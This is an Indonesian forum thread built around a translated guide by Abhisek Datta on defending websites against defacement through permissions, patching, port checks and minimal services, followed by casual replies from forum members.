Pendeface-an website telah menjadi masalah nyata pada berbagai perusahaan dan situs-situs pemerintah saat ini semenjak website pemerintah terdeface sebagai dampak perang cyber dan alasan lain yang tidak disebutkan disini. Kebanyakan website pendeface-an website dan analisa yang saya lihat pada situs seperti http://defaced.alldas.org menunjukkan bahwa mereka telah di crack dan bukan di hack!! dampak pada kesalahan konfigurasi dan kelalaian tanggung jawab Administrator system dan anggota lainnya dari kelompok yang terkait dengan masalah keamanan website. Saya akan menyarankan system administrator untuk mengikuti petunjuk perlindungan website mereka.

Pertama kali sebagaimanayang telah saya jelaskan sebelumnya dalam amnual mereka mengenai permisi direktori dan bagaimana cara mereka tereksploitasi, selalu merupakkan sebuah ide yang bagus untuk mengorganisasi webroot anda dengan direktori yang sesuai. Maksud saya direktori untuk images, HTML, dan content statis lainnya. Permisi dari direktori harsu dilakukan secara minimum tanpa scripting atau execution permission sebagaimana halnya HTML dan images statis lainnya yang tidak memerlukan permisi. Malkonfigurasi dalam point ini tampilan ini seringkali membuat seorang attacker dengan mudahnya menyisipkan malicious code dalam file index.html yang dihasilkan dalam pengarahan website.

Secara teratur (kalau bisa setiap hari) kunjungi website dari web server perusahaan anda dan bacalah mengenai vulnerability dan solusi dari vulnerability tersebut. Seharusnya terbetik pada pikiran anda bahwa seluruh software dapat dieksploitasi (pendapat saya dapat dipertimbangkan) jadi jika web server anda vulnerable yang tidak dimaksudkan bahwa anda harus mengubah web server anda.

Download dan install patch yang sesuai dan tersedia dari official site web server anda dan secara teratur melakukan patch web server dan sistem operasi anda untuk mengetahui celah keamanannya. Kunjungi website seperti http://securityfocus.com untuk menjaga diri anda agar mengetahui vulnerability terakhir dan solusi yang berhubungan dengan hal tersebut.

Periksa sistem anda pada celah keamanan yang terbuka. Port scan sistem anda secara teratur dan periksa port yang terbuka. Juga periksa vulnerability yang terkait dengan port tersebut dan install patch yang sesuai. Cobalah melakukan hosting website melalui sebuah proxy. Gunakan halaman berbasiskan database dengan tujuan mengamankan halaman anad (terutama index.html) dari penyisipan malicious script. Malicious script dapat di sisipkan dengan banyak cara. Tidak hanya melalui URL tapi juga dapat disisipkan melalui telnet.

Terakhir, saya ingin mengatakan satu hal yang merupakan pandangan menyeluruh saya. Saya kira sebuah website tidak 100% aman hanya dengan membaca buku dan mendapatkan pelatihan profesional. Terkecuali bila anda mengetahui metode para cracker dan hacker yang anda tidak mampu melindungi website anda. Anda perlu mengetahui bagaima cara cracker berpikir sebelum mulai menyusup ke dalam sistem. Anda dapat dengan mudah melindungis sistem anda dariscript kiddies yang hanyamelakukan scan sistem terhadap celah keamanan yang ada. Namun melindung sistem anda dari hacker atau cracker yang hanya satu orang dan hanya satu target hingga berhasil adalah sangat sukar. Hingga anda mengetahui bagaimana mereka berpikir dan apa yang menjadi pendekatan atau metode mereka, sangat sukra untuk memproteksi website anda dari orang-orang seperti ini.

Jika anda menggunakan Linux atau varian *nix lainnya, tidak berarti bahwa sistem anda aman secara keseluruhan. Linux dianggap lebih aman karena windows selalu menjadi target serangan para hacker! setidaknya untuk beberapa tahun. (Menurut saya) keamanan website anda tidak tergantung hanya sistem operasi yang dijalankan. Tergantung konfigurasi dan manajemen inteligensi dari sistem adna tersebut.

Jalankan service minimum sebagai kebutuhan. Cobalah menutup layanan yant tidak diperlukan. JIka sistem anda menggunakan atau memberikan share pada internal network maka gunakan hardware/packet level firewall.

Oki doki, sampai disini saja manual saya.

Komentar dan saran diterima via email abhisek@gamebox.net


Abhisek Datta
http://www.abhisekdatta.up.to
http://www.hackersclub.up.to

abhisek@gamebox.net

JOIN HC by sending a blank mail to members_hackersclub@yahoogroups.com

irwancihuy
27-07-2006, 01:14 PM
buset!!!! puyeng amat sih? BTW, GRP Waiting :P

dede23
27-07-2006, 01:38 PM
ni guide dah lama loh..
nara sumber na lupa

hehe namanya jg deface...
tp klo isa kan keren jg...
bole dunk grp na haha

irwancihuy
27-07-2006, 03:05 PM
boleh juga dong kalo dibales GRP nya, hahahaha

dede23
27-07-2006, 03:40 PM
alah ..........h.ehe

darkmarket
17-08-2006, 06:45 PM
uda lama tapi niat u gw hargain utk berbagi dech de ^^

aPhRoDite
26-10-2006, 09:49 PM
ahahah cara deface nya keren banget... panjang banget... kurang panjang tuh.. hehehe /heh

gilak udah tak pelajari lagi masi ae bingung hik... hik...

Shald
01-11-2006, 09:18 AM
boleh nih tutoialnya...coba dulu ah...kalo berhasil nanti grp menyusul deh :D

mas6
01-11-2006, 11:31 AM
KUcluk pusing gwa @_@

meyerzz
04-11-2006, 05:29 PM
there are two words for ya!
mantap abis..

Maliq
02-12-2006, 06:39 PM
BuSyet pUyeNk GW maH!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

TEORINYA BANYAK BGT

32132515328158158058028608306528025056198409849840 89465408515645189454048904804049804980489049804890 45604515604650980490498049804980498045604850950489 048087409804890489080489048904890498409840984
HAPALIN TOH

meyerzz
02-12-2006, 10:44 PM
ga ngerti gw...
pening..
memang gw lagi error sih..
nanti deh..

Kelelawar Sakti
19-12-2006, 05:10 PM
Pusing gw......!!!
panjang amat sih....!!

fufu
26-12-2006, 02:45 AM
gile rajin bener tuh sampai beberapa halaman namu gwe hargai perjuagan lu bro and lanjutkan terus biar bisa kasih banyak masukan kekita smua yg sedang belajar LOL

good job bro

CalvinLimuel
27-12-2006, 10:59 AM
telnet terus!!!

kurei
09-04-2007, 10:46 AM
wow....... thanks bro buat langkah2nya............